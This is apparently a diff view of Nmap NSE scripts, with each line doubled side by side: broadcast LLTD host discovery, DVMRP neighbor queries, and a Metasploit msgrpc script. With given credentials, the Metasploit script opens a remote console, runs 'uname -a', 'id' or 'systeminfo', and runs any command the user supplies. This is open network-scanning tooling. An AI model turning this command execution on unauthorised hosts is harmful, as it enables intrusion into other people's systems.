local ethernet_hdr, demultiplex_hdr, base_hdr, discover_up_lev_hdr local ethernet_hdr, demultiplex_hdr, base_hdr, discover_up_lev_hdr
-- set up ethernet header = [ mac_dst, mac_src, protocol ] -- set up ethernet header = [ mac_dst, mac_src, protocol ]
local mac_dst = "FF FF FF FF FF FF" -- broadcast local mac_dst = "FF FF FF FF FF FF" -- broadcast
local protocol = "88 d9" -- LLTD protocol number local protocol = "88 d9" -- LLTD protocol number
ethernet_hdr = bin.pack("HAH",mac_dst, mac_src, protocol) ethernet_hdr = bin.pack("HAH",mac_dst, mac_src, protocol)
-- set up LLTD demultiplex header = [ version, type_of_service, reserved, function ] -- set up LLTD demultiplex header = [ version, type_of_service, reserved, function ]
local lltd_version = "01" -- Fixed Value local lltd_version = "01" -- Fixed Value
local lltd_type_of_service = "01" -- Type Of Service = Quick Discovery(0x01) local lltd_type_of_service = "01" -- Type Of Service = Quick Discovery(0x01)
local lltd_reserved = "00" -- Fixed value local lltd_reserved = "00" -- Fixed value
local lltd_function = "00" -- Function = QuickDiscovery->Discover (0x00) local lltd_function = "00" -- Function = QuickDiscovery->Discover (0x00)
demultiplex_hdr = bin.pack("HHHH", lltd_version, lltd_type_of_service, lltd_reserved, lltd_function ) demultiplex_hdr = bin.pack("HHHH", lltd_version, lltd_type_of_service, lltd_reserved, lltd_function )
-- set up LLTD base header = [ mac_dst, mac_src, seq_num(xid) ] -- set up LLTD base header = [ mac_dst, mac_src, seq_num(xid) ]
local lltd_seq_num = openssl.rand_bytes(2) local lltd_seq_num = openssl.rand_bytes(2)
base_hdr = bin.pack("HHA", mac_dst, mac_src, lltd_seq_num) base_hdr = bin.pack("HHA", mac_dst, mac_src, lltd_seq_num)
-- set up LLTD Upper Level Header = [ generation_number, number_of_stations, station_list ] -- set up LLTD Upper Level Header = [ generation_number, number_of_stations, station_list ]
local generation_number = openssl.rand_bytes(2) local generation_number = openssl.rand_bytes(2)
local number_of_stations = "00 00" local number_of_stations = "00 00"
local station_list = "00 00 00 00 00 00 " .. "00 00 00 00 00 00 " .. local station_list = "00 00 00 00 00 00 " .. "00 00 00 00 00 00 " ..
"00 00 00 00 00 00 " .."00 00 00 00 00 00 " "00 00 00 00 00 00 " .."00 00 00 00 00 00 "
discover_up_lev_hdr = bin.pack("AHH", generation_number, number_of_stations, station_list) discover_up_lev_hdr = bin.pack("AHH", generation_number, number_of_stations, station_list)
-- put them all together and return -- put them all together and return
return bin.pack("AAAA", ethernet_hdr, demultiplex_hdr, base_hdr, discover_up_lev_hdr) return bin.pack("AAAA", ethernet_hdr, demultiplex_hdr, base_hdr, discover_up_lev_hdr)
end end
--- Runs a thread which discovers LLTD Responders on a certain interface --- Runs a thread which discovers LLTD Responders on a certain interface
local LLTDDiscover = function(if_table, lltd_responders, timeout) local LLTDDiscover = function(if_table, lltd_responders, timeout)
local timeout_s = 3 local timeout_s = 3
local condvar = nmap.condvar(lltd_responders) local condvar = nmap.condvar(lltd_responders)
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
pcap:set_timeout(5000) pcap:set_timeout(5000)
local dnet = nmap.new_dnet() local dnet = nmap.new_dnet()
local try = nmap.new_try(function() dnet:ethernet_close() pcap:close() end) local try = nmap.new_try(function() dnet:ethernet_close() pcap:close() end)
pcap:pcap_open(if_table.device, 256, false, "") pcap:pcap_open(if_table.device, 256, false, "")
try(dnet:ethernet_open(if_table.device)) try(dnet:ethernet_open(if_table.device))
local packet = QuickDiscoveryPacket(if_table.mac) local packet = QuickDiscoveryPacket(if_table.mac)
try( dnet:ethernet_send(packet) ) try( dnet:ethernet_send(packet) )
stdnse.sleep(0.5) stdnse.sleep(0.5)
try( dnet:ethernet_send(packet) ) try( dnet:ethernet_send(packet) )
local start = os.time() local start = os.time()
local start_s = os.time() local start_s = os.time()
while true do while true do
local status, plen, l2, l3, _ = pcap:pcap_receive() local status, plen, l2, l3, _ = pcap:pcap_receive()
if status then if status then
local packet = l2..l3 local packet = l2..l3
if stdnse.tohex(packet:sub(13,14)) == "88d9" then if stdnse.tohex(packet:sub(13,14)) == "88d9" then
start_s = os.time() start_s = os.time()
local ipv4, mac, ipv6, hostname = parseHello(packet) local ipv4, mac, ipv6, hostname = parseHello(packet)
if ipv4 then if ipv4 then
if not lltd_responders[ipv4] then if not lltd_responders[ipv4] then
lltd_responders[ipv4] = {} lltd_responders[ipv4] = {}
lltd_responders[ipv4].hostname = hostname lltd_responders[ipv4].hostname = hostname
lltd_responders[ipv4].mac = mac lltd_responders[ipv4].mac = mac
lltd_responders[ipv4].ipv6 = ipv6 lltd_responders[ipv4].ipv6 = ipv6
end end
end end
else else
if os.time() - start_s > timeout_s then if os.time() - start_s > timeout_s then
break break
end end
end end
else else
break break
end end
if os.time() - start > timeout then if os.time() - start > timeout then
break break
end end
end end
dnet:ethernet_close() dnet:ethernet_close()
pcap:close() pcap:close()
condvar("signal") condvar("signal")
end end
action = function() action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
timeout = timeout or 30 timeout = timeout or 30
--get interface script-args, if any --get interface script-args, if any
local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local interface_opt = nmap.get_interface() local interface_opt = nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on) -- interfaces list (decide which interfaces to broadcast on)
local interfaces ={} local interfaces ={}
if interface_opt or interface_arg then if interface_opt or interface_arg then
-- single interface defined -- single interface defined
local interface = interface_opt or interface_arg local interface = interface_opt or interface_arg
local if_table = nmap.get_interface_info(interface) local if_table = nmap.get_interface_info(interface)
if not if_table or not if_table.address or not if_table.link=="ethernet" then if not if_table or not if_table.address or not if_table.link=="ethernet" then
stdnse.print_debug("Interface not supported or not properly configured.") stdnse.print_debug("Interface not supported or not properly configured.")
return false return false
end end
table.insert(interfaces, if_table) table.insert(interfaces, if_table)
else else
local tmp_ifaces = nmap.list_interfaces() local tmp_ifaces = nmap.list_interfaces()
for _, if_table in ipairs(tmp_ifaces) do for _, if_table in ipairs(tmp_ifaces) do
if if_table.address and if if_table.address and
if_table.link=="ethernet" and if_table.link=="ethernet" and
if_table.address:match("%d+%.%d+%.%d+%.%d+") then if_table.address:match("%d+%.%d+%.%d+%.%d+") then
table.insert(interfaces, if_table) table.insert(interfaces, if_table)
end end
end end
end end
if #interfaces == 0 then if #interfaces == 0 then
stdnse.print_debug("No interfaces found.") stdnse.print_debug("No interfaces found.")
return return
end end
local lltd_responders={} local lltd_responders={}
local threads ={} local threads ={}
local condvar = nmap.condvar(lltd_responders) local condvar = nmap.condvar(lltd_responders)
-- party time -- party time
for _, if_table in ipairs(interfaces) do for _, if_table in ipairs(interfaces) do
-- create a thread for each interface -- create a thread for each interface
local co = stdnse.new_thread(LLTDDiscover, if_table, lltd_responders, timeout) local co = stdnse.new_thread(LLTDDiscover, if_table, lltd_responders, timeout)
threads[co]=true threads[co]=true
end end
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end if coroutine.status(thread) == "dead" then threads[thread] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
-- generate output -- generate output
local output = {} local output = {}
for ip_addr, info in pairs(lltd_responders) do for ip_addr, info in pairs(lltd_responders) do
if target.ALLOW_NEW_TARGETS then target.add(ip_addr) end if target.ALLOW_NEW_TARGETS then target.add(ip_addr) end
local s = {} local s = {}
s.name = ip_addr s.name = ip_addr
if info.hostname then if info.hostname then
table.insert(s, "Hostname: " .. info.hostname) table.insert(s, "Hostname: " .. info.hostname)
end end
if info.mac then if info.mac then
table.insert(s, "Mac: " .. info.mac) table.insert(s, "Mac: " .. info.mac)
end end
if info.ipv6 then if info.ipv6 then
table.insert(s, "IPv6: " .. info.ipv6) table.insert(s, "IPv6: " .. info.ipv6)
end end
table.insert(output,s) table.insert(output,s)
end end
if #output>0 and not target.ALLOW_NEW_TARGETS then if #output>0 and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets") table.insert(output,"Use the newtargets script-arg to add the results as targets")
end end
return stdnse.format_output( (#output>0), output ) return stdnse.format_output( (#output>0), output )
end end

View File

@@ -45,243 +45,243 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","safe"} categories = {"intrusive","safe"}
portrule = shortport.port_or_service(55553,"metasploit-msgrpc") portrule = shortport.port_or_service(55553,"metasploit-msgrpc")
local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username") local arg_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password") local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
local arg_command = stdnse.get_script_args(SCRIPT_NAME .. ".command") local arg_command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
local os_type local os_type
-- returns a "prefix" that msgpack uses for strings -- returns a "prefix" that msgpack uses for strings
local get_prefix = function(data) local get_prefix = function(data)
if string.len(data) <= 31 then if string.len(data) <= 31 then
return bin.pack("C",0xa0 + string.len(data)) return bin.pack("C",0xa0 + string.len(data))
else else
return bin.pack("C",0xda) .. bin.pack("s",string.len(data)) return bin.pack("C",0xda) .. bin.pack("s",string.len(data))
end end
end end
-- returns a msgpacked data for console.read -- returns a msgpacked data for console.read
local encode_console_read = function(method,token, console_id) local encode_console_read = function(method,token, console_id)
return bin.pack("C",0x93) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token .. get_prefix(console_id) .. console_id return bin.pack("C",0x93) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token .. get_prefix(console_id) .. console_id
end end
-- returns a msgpacked data for console.write -- returns a msgpacked data for console.write
local encode_console_write = function(method, token, console_id, command) local encode_console_write = function(method, token, console_id, command)
return bin.pack("C",0x94) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token .. get_prefix(console_id) .. console_id .. get_prefix(command) .. command return bin.pack("C",0x94) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token .. get_prefix(console_id) .. console_id .. get_prefix(command) .. command
end end
-- returns a msgpacked data for auth.login -- returns a msgpacked data for auth.login
local encode_auth = function(username, password) local encode_auth = function(username, password)
local method = "auth.login" local method = "auth.login"
return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. get_prefix(username) .. username .. get_prefix(password) .. password return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. get_prefix(username) .. username .. get_prefix(password) .. password
end end
-- returns a msgpacked data for any method without exstra parameters -- returns a msgpacked data for any method without exstra parameters
local encode_noparam = function(token,method) local encode_noparam = function(token,method)
-- token is always the same length -- token is always the same length
return bin.pack("C",0x92) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token return bin.pack("C",0x92) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token
end end
-- does the actuall call with specified, pre-packed data -- does the actuall call with specified, pre-packed data
-- and returns the response -- and returns the response
local msgrpc_call = function(host, port, msg) local msgrpc_call = function(host, port, msg)
local data local data
local options = { local options = {
header = { header = {
["Content-Type"] = "binary/message-pack" ["Content-Type"] = "binary/message-pack"
} }
} }
data = http.post(host,port, "/api/",options, nil , msg) data = http.post(host,port, "/api/",options, nil , msg)
if data and data.status and tostring( data.status ):match( "200" ) then if data and data.status and tostring( data.status ):match( "200" ) then
return data.body return data.body
end end
return nil return nil
end end
-- auth.login wraper, returns the auth token -- auth.login wraper, returns the auth token
local login = function(username, password,host,port) local login = function(username, password,host,port)
local data = msgrpc_call(host, port, encode_auth(username,password)) local data = msgrpc_call(host, port, encode_auth(username,password))
if data then if data then
local start = string.find(data,"success") local start = string.find(data,"success")
if start > -1 then if start > -1 then
-- get token -- get token
local token = string.sub(string.sub(data,start),17) -- "manualy" unpack token local token = string.sub(string.sub(data,start),17) -- "manualy" unpack token
return true, token return true, token
else else
return false, nil return false, nil
end end
end end
stdnse.print_debug("something is wrong:" .. data ) stdnse.print_debug("something is wrong:" .. data )
return false, nil return false, nil
end end
-- core.version wraper, returns version info, and sets the OS type -- core.version wraper, returns version info, and sets the OS type
-- so we can decide which commands to send later -- so we can decide which commands to send later
local get_version = function(host, port, token) local get_version = function(host, port, token)
local msg = encode_noparam(token,"core.version") local msg = encode_noparam(token,"core.version")
local data = msgrpc_call(host, port, msg) local data = msgrpc_call(host, port, msg)
-- unpack data -- unpack data
if data then if data then
-- get version, ruby version, api version -- get version, ruby version, api version
local start = string.find(data,"version") local start = string.find(data,"version")
local metasploit_version local metasploit_version
local ruby_version local ruby_version
local api_version local api_version
if start then if start then
metasploit_version = string.sub(string.sub(data,start),9) metasploit_version = string.sub(string.sub(data,start),9)
start = string.find(metasploit_version,"ruby") start = string.find(metasploit_version,"ruby")
start = start - 2 start = start - 2
metasploit_version = string.sub(metasploit_version,1,start) metasploit_version = string.sub(metasploit_version,1,start)
start = string.find(data,"ruby") start = string.find(data,"ruby")
ruby_version = string.sub(string.sub(data,start),6) ruby_version = string.sub(string.sub(data,start),6)
start = string.find(ruby_version,"api") start = string.find(ruby_version,"api")
start = start - 2 start = start - 2
ruby_version = string.sub(ruby_version,1,start) ruby_version = string.sub(ruby_version,1,start)
start = string.find(data,"api") start = string.find(data,"api")
api_version = string.sub(string.sub(data,start),5) api_version = string.sub(string.sub(data,start),5)
-- put info in a table and parse for OS detection and other info -- put info in a table and parse for OS detection and other info
port.version.name = "metasploit-msgrpc" port.version.name = "metasploit-msgrpc"
port.version.product = metasploit_version port.version.product = metasploit_version
port.version.name_confidence = 10 port.version.name_confidence = 10
nmap.set_port_version(host,port) nmap.set_port_version(host,port)
local info = "Metasploit version: " .. metasploit_version .. " Ruby version: " .. ruby_version .. " API version: " .. api_version local info = "Metasploit version: " .. metasploit_version .. " Ruby version: " .. ruby_version .. " API version: " .. api_version
if string.find(ruby_version,"mingw") < 0 then if string.find(ruby_version,"mingw") < 0 then
os_type = "linux" -- assume linux for now os_type = "linux" -- assume linux for now
else -- mingw compiler means it's a windows build else -- mingw compiler means it's a windows build
os_type = "windows" os_type = "windows"
end end
stdnse.print_debug(info) stdnse.print_debug(info)
return info return info
end end
end end
return nil return nil
end end
-- console.create wraper, returns console_id -- console.create wraper, returns console_id
-- which we can use to interact with metasploit further -- which we can use to interact with metasploit further
local create_console = function(host,port,token) local create_console = function(host,port,token)
local msg = encode_noparam(token,"console.create") local msg = encode_noparam(token,"console.create")
local data = msgrpc_call(host, port, msg) local data = msgrpc_call(host, port, msg)
-- unpack data -- unpack data
if data then if data then
--get console id --get console id
local start = string.find(data,"id") local start = string.find(data,"id")
local console_id local console_id
if start then if start then
console_id = string.sub(string.sub(data,start),4) console_id = string.sub(string.sub(data,start),4)
local next_token = string.find(console_id,"prompt") local next_token = string.find(console_id,"prompt")
console_id = string.sub(console_id,1,next_token-2) console_id = string.sub(console_id,1,next_token-2)
return console_id return console_id
end end
end end
return nil return nil
end end
-- console.read wraper -- console.read wraper
local read_console = function(host,port,token,console_id) local read_console = function(host,port,token,console_id)
local msg = encode_console_read("console.read",token,console_id) local msg = encode_console_read("console.read",token,console_id)
local data = msgrpc_call(host, port, msg) local data = msgrpc_call(host, port, msg)
-- unpack data -- unpack data
if data then if data then
-- check if busy -- check if busy
while string.byte(data,string.len(data)) == 0xc3 do while string.byte(data,string.len(data)) == 0xc3 do
-- console is busy , let's retry in one second -- console is busy , let's retry in one second
stdnse.sleep(1) stdnse.sleep(1)
data = msgrpc_call(host, port, msg) data = msgrpc_call(host, port, msg)
end end
local start = string.find(data,"data") local start = string.find(data,"data")
local read_data local read_data
if start then if start then
read_data = string.sub(string.sub(data,start),8) read_data = string.sub(string.sub(data,start),8)
local next_token = string.find(read_data,"prompt") local next_token = string.find(read_data,"prompt")
read_data = string.sub(read_data,1,next_token-2) read_data = string.sub(read_data,1,next_token-2)
return read_data return read_data
end end
end end
end end
-- console.write wraper -- console.write wraper
local write_console = function(host,port,token,console_id,command) local write_console = function(host,port,token,console_id,command)
local msg = encode_console_write("console.write",token,console_id,command .. "\n") local msg = encode_console_write("console.write",token,console_id,command .. "\n")
local data = msgrpc_call(host, port, msg) local data = msgrpc_call(host, port, msg)
-- unpack data -- unpack data
if data then if data then
return true return true
end end
return false return false
end end
-- console.destroy wraper, just to be nice, we don't want console to hang ... -- console.destroy wraper, just to be nice, we don't want console to hang ...
local destroy_console = function(host,port,token,console_id) local destroy_console = function(host,port,token,console_id)
local msg = encode_console_read("console.destroy",token,console_id) local msg = encode_console_read("console.destroy",token,console_id)
local data = msgrpc_call(host, port, msg) local data = msgrpc_call(host, port, msg)
end end
-- write command and read result helper -- write command and read result helper
local write_read_console = function(host,port,token, console_id,command) local write_read_console = function(host,port,token, console_id,command)
if write_console(host,port,token,console_id, command) then if write_console(host,port,token,console_id, command) then
local read_data = read_console(host,port,token,console_id) local read_data = read_console(host,port,token,console_id)
if read_data then if read_data then
read_data = string.sub(read_data,string.find(read_data,"\n")+1) -- skip command echo read_data = string.sub(read_data,string.find(read_data,"\n")+1) -- skip command echo
return read_data return read_data
end end
end end
return nil return nil
end end
action = function( host, port ) action = function( host, port )
if not arg_username or not arg_password then if not arg_username or not arg_password then
stdnse.print_debug("This script requires username and password supplied as arguments") stdnse.print_debug("This script requires username and password supplied as arguments")
return false return false
end end
-- authenticate -- authenticate
local status, token = login(arg_username,arg_password,host,port) local status, token = login(arg_username,arg_password,host,port)
if status then if status then
-- get version info -- get version info
local info = get_version(host,port,token) local info = get_version(host,port,token)
local console_id = create_console(host,port,token) local console_id = create_console(host,port,token)
if console_id then if console_id then
local read_data = read_console(host,port,token,console_id) -- first read the banner/ascii art local read_data = read_console(host,port,token,console_id) -- first read the banner/ascii art
stdnse.print_debug(2,read_data) -- print the nice looking banner if dbg level high enough :) stdnse.print_debug(2,read_data) -- print the nice looking banner if dbg level high enough :)
if read_data then if read_data then
if os_type == "linux" then if os_type == "linux" then
read_data = write_read_console(host,port,token,console_id, "uname -a") read_data = write_read_console(host,port,token,console_id, "uname -a")
if read_data then if read_data then
info = info .. "\nAdditional info: " .. read_data info = info .. "\nAdditional info: " .. read_data
end end
read_data = write_read_console(host,port,token,console_id, "id") read_data = write_read_console(host,port,token,console_id, "id")
if read_data then if read_data then
info = info .. read_data info = info .. read_data
end end
elseif os_type == "windows" then elseif os_type == "windows" then
read_data = write_read_console(host,port,token,console_id, "systeminfo") read_data = write_read_console(host,port,token,console_id, "systeminfo")
if read_data then if read_data then
stdnse.print_debug(2,read_data) -- print whole info if dbg level high enough stdnse.print_debug(2,read_data) -- print whole info if dbg level high enough
local stop = string.find(read_data,"Hotfix") -- trim data down , systeminfo return A LOT local stop = string.find(read_data,"Hotfix") -- trim data down , systeminfo return A LOT
read_data = string.sub(read_data,1,stop-2) read_data = string.sub(read_data,1,stop-2)
info = info .. "\nAdditional info: \n" .. read_data info = info .. "\nAdditional info: \n" .. read_data
end end
end end
if arg_command then if arg_command then
read_data = write_read_console(host,port,token,console_id, arg_command) read_data = write_read_console(host,port,token,console_id, arg_command)
if read_data then if read_data then
info = info .. "\nCustom command output: " .. read_data info = info .. "\nCustom command output: " .. read_data
end end
end end
if read_data then if read_data then
-- let's be nice and close the console -- let's be nice and close the console
destroy_console(host,port,token,console_id) destroy_console(host,port,token,console_id)
end end
end end
end end
if info then if info then
return stdnse.format_output(true,info) return stdnse.format_output(true,info)
end end
end end
return false return false
end end

View File

@@ -71,62 +71,62 @@ categories = {"discovery", "safe", "broadcast"}
prerule = function() prerule = function()
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME) stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false return false
end end
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
-- Parses a DVMRP Ask Neighbor 2 raw data and returns -- Parses a DVMRP Ask Neighbor 2 raw data and returns
-- a structured response. -- a structured response.
-- @param data raw data. -- @param data raw data.
local mrinfoParse = function(data) local mrinfoParse = function(data)
local index, address, neighbor local index, address, neighbor
local response = {} local response = {}
-- first byte should be IGMP type == 0x13 (DVMRP) -- first byte should be IGMP type == 0x13 (DVMRP)
if data:byte(1) ~= 0x13 then return end if data:byte(1) ~= 0x13 then return end
-- DVMRP Code -- DVMRP Code
index, response.code = bin.unpack(">C", data, 2) index, response.code = bin.unpack(">C", data, 2)
-- Checksum -- Checksum
index, response.checksum = bin.unpack(">S", data, index) index, response.checksum = bin.unpack(">S", data, index)
-- Capabilities (Skip one reserved byte) -- Capabilities (Skip one reserved byte)
index, response.capabilities = bin.unpack(">C", data, index + 1) index, response.capabilities = bin.unpack(">C", data, index + 1)
-- Major and minor version -- Major and minor version
index, response.minver = bin.unpack(">C", data, index) index, response.minver = bin.unpack(">C", data, index)
index, response.majver = bin.unpack(">C", data, index) index, response.majver = bin.unpack(">C", data, index)
response.addresses = {} response.addresses = {}
-- Iterate over target local addresses (interfaces) -- Iterate over target local addresses (interfaces)
while index < #data do while index < #data do
if data:byte(index) == 0x00 then break end if data:byte(index) == 0x00 then break end
address = {} address = {}
-- Local address -- Local address
index, address.ip = bin.unpack("<I", data, index) index, address.ip = bin.unpack("<I", data, index)
address.ip = ipOps.fromdword(address.ip) address.ip = ipOps.fromdword(address.ip)
-- Link metric -- Link metric
index, address.metric = bin.unpack(">C", data, index) index, address.metric = bin.unpack(">C", data, index)
-- Treshold -- Treshold
index, address.treshold= bin.unpack(">C", data, index) index, address.treshold= bin.unpack(">C", data, index)
-- Flags -- Flags
index, address.flags = bin.unpack(">C", data, index) index, address.flags = bin.unpack(">C", data, index)
-- Number of neighbors -- Number of neighbors
index, address.ncount = bin.unpack(">C", data, index) index, address.ncount = bin.unpack(">C", data, index)
address.neighbors = {} address.neighbors = {}
-- Iterate over neighbors -- Iterate over neighbors
for i = 1, address.ncount do for i = 1, address.ncount do
index, neighbor = bin.unpack("<I", data, index) index, neighbor = bin.unpack("<I", data, index)
table.insert(address.neighbors, ipOps.fromdword(neighbor)) table.insert(address.neighbors, ipOps.fromdword(neighbor))
end
table.insert(response.addresses, address)
end end
return response table.insert(response.addresses, address)
end
return response
end end
-- Listens for DVMRP Ask Neighbors 2 responses -- Listens for DVMRP Ask Neighbors 2 responses
@@ -134,161 +134,161 @@ end
--@param timeout Time to listen for a response. --@param timeout Time to listen for a response.
--@param responses table to insert responses into. --@param responses table to insert responses into.
local mrinfoListen = function(interface, timeout, responses) local mrinfoListen = function(interface, timeout, responses)
local condvar = nmap.condvar(responses) local condvar = nmap.condvar(responses)
local start = nmap.clock_ms() local start = nmap.clock_ms()
local listener = nmap.new_socket() local listener = nmap.new_socket()
local p, mrinfo_raw, status, l3data, response, _ local p, mrinfo_raw, status, l3data, response, _
-- IGMP packets that are sent to our host -- IGMP packets that are sent to our host
local filter = 'ip proto 2 and dst host ' .. interface.address local filter = 'ip proto 2 and dst host ' .. interface.address
listener:set_timeout(100) listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter) listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive() status, _, _, l3data = listener:pcap_receive()
if status then if status then
p = packet.Packet:new(l3data, #l3data) p = packet.Packet:new(l3data, #l3data)
mrinfo_raw = string.sub(l3data, p.ip_hl*4 + 1) mrinfo_raw = string.sub(l3data, p.ip_hl*4 + 1)
if p then if p then
-- Check that IGMP Type == DVMRP (0x13) and DVMRP code == Neighbor 2 (0x06) -- Check that IGMP Type == DVMRP (0x13) and DVMRP code == Neighbor 2 (0x06)
if mrinfo_raw:byte(1) == 0x13 and mrinfo_raw:byte(2) == 0x06 then if mrinfo_raw:byte(1) == 0x13 and mrinfo_raw:byte(2) == 0x06 then
response = mrinfoParse(mrinfo_raw) response = mrinfoParse(mrinfo_raw)
if response then if response then
response.srcip = p.ip_src response.srcip = p.ip_src
table.insert(responses, response) table.insert(responses, response)
end end
end end
end end
end
end end
condvar("signal") end
condvar("signal")
end end
-- Function that generates a raw DVMRP Ask Neighbors 2 request. -- Function that generates a raw DVMRP Ask Neighbors 2 request.
local mrinfoRaw = function() local mrinfoRaw = function()
-- Type: DVMRP -- Type: DVMRP
local mrinfo_raw = bin.pack(">C", 0x13) local mrinfo_raw = bin.pack(">C", 0x13)
-- Code: Ask Neighbor v2 -- Code: Ask Neighbor v2
mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x05) mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x05)
-- Checksum: Calculated later -- Checksum: Calculated later
mrinfo_raw = mrinfo_raw.. bin.pack(">S", 0x0000) mrinfo_raw = mrinfo_raw.. bin.pack(">S", 0x0000)
-- Reserved -- Reserved
mrinfo_raw = mrinfo_raw.. bin.pack(">S", 0x000a) mrinfo_raw = mrinfo_raw.. bin.pack(">S", 0x000a)
-- Version == Cisco IOS 12.4 -- Version == Cisco IOS 12.4
-- Minor version: 4 -- Minor version: 4
mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x04) mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x04)
-- Major version: 12 -- Major version: 12
mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x0c) mrinfo_raw = mrinfo_raw.. bin.pack(">C", 0x0c)
-- Calculate checksum -- Calculate checksum
mrinfo_raw = mrinfo_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(mrinfo_raw)) .. mrinfo_raw:sub(5) mrinfo_raw = mrinfo_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(mrinfo_raw)) .. mrinfo_raw:sub(5)
return mrinfo_raw return mrinfo_raw
end end
-- Function that sends a DVMRP query. -- Function that sends a DVMRP query.
--@param interface Network interface to use. --@param interface Network interface to use.
--@param dstip Destination IP to send to. --@param dstip Destination IP to send to.
local mrinfoQuery = function(interface, dstip) local mrinfoQuery = function(interface, dstip)
local mrinfo_packet, sock, eth_hdr local mrinfo_packet, sock, eth_hdr
local srcip = interface.address local srcip = interface.address
local mrinfo_raw = mrinfoRaw() local mrinfo_raw = mrinfoRaw()
local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. mrinfo_raw local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. mrinfo_raw
mrinfo_packet = packet.Packet:new(ip_raw, ip_raw:len()) mrinfo_packet = packet.Packet:new(ip_raw, ip_raw:len())
mrinfo_packet:ip_set_bin_src(ipOps.ip_to_str(srcip)) mrinfo_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
mrinfo_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip)) mrinfo_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
mrinfo_packet:ip_set_len(ip_raw:len()) mrinfo_packet:ip_set_len(ip_raw:len())
if dstip == "224.0.0.1" then if dstip == "224.0.0.1" then
-- Doesn't affect results, but we should respect RFC 3171 :) -- Doesn't affect results, but we should respect RFC 3171 :)
mrinfo_packet:ip_set_ttl(1) mrinfo_packet:ip_set_ttl(1)
end end
mrinfo_packet:ip_count_checksum() mrinfo_packet:ip_count_checksum()
sock = nmap.new_dnet() sock = nmap.new_dnet()
if dstip == "224.0.0.1" then if dstip == "224.0.0.1" then
sock:ethernet_open(interface.device) sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and packet type IP -- Ethernet IPv4 multicast, our ethernet address and packet type IP
eth_hdr = bin.pack("HAH", "01 00 5e 00 00 01", interface.mac, "08 00") eth_hdr = bin.pack("HAH", "01 00 5e 00 00 01", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. mrinfo_packet.buf) sock:ethernet_send(eth_hdr .. mrinfo_packet.buf)
sock:ethernet_close() sock:ethernet_close()
else else
sock:ip_open() sock:ip_open()
sock:ip_send(mrinfo_packet.buf, dstip) sock:ip_send(mrinfo_packet.buf, dstip)
sock:ip_close() sock:ip_close()
end end
end end
-- Returns the network interface used to send packets to a target host. -- Returns the network interface used to send packets to a target host.
--@param target host to which the interface is used. --@param target host to which the interface is used.
--@return interface Network interface used for target host. --@return interface Network interface used for target host.
local getInterface = function(target) local getInterface = function(target)
-- First, create dummy UDP connection to get interface -- First, create dummy UDP connection to get interface
local sock = nmap.new_socket() local sock = nmap.new_socket()
local status, err = sock:connect(target, "12345", "udp") local status, err = sock:connect(target, "12345", "udp")
if not status then if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err) stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return return
end end
local status, address, _, _, _ = sock:get_info() local status, address, _, _, _ = sock:get_info()
if not status then if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err) stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return return
end end
for _, interface in pairs(nmap.list_interfaces()) do for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then if interface.address == address then
return interface return interface
end
end end
end
end end
action = function() action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
timeout = (timeout or 5) * 1000 timeout = (timeout or 5) * 1000
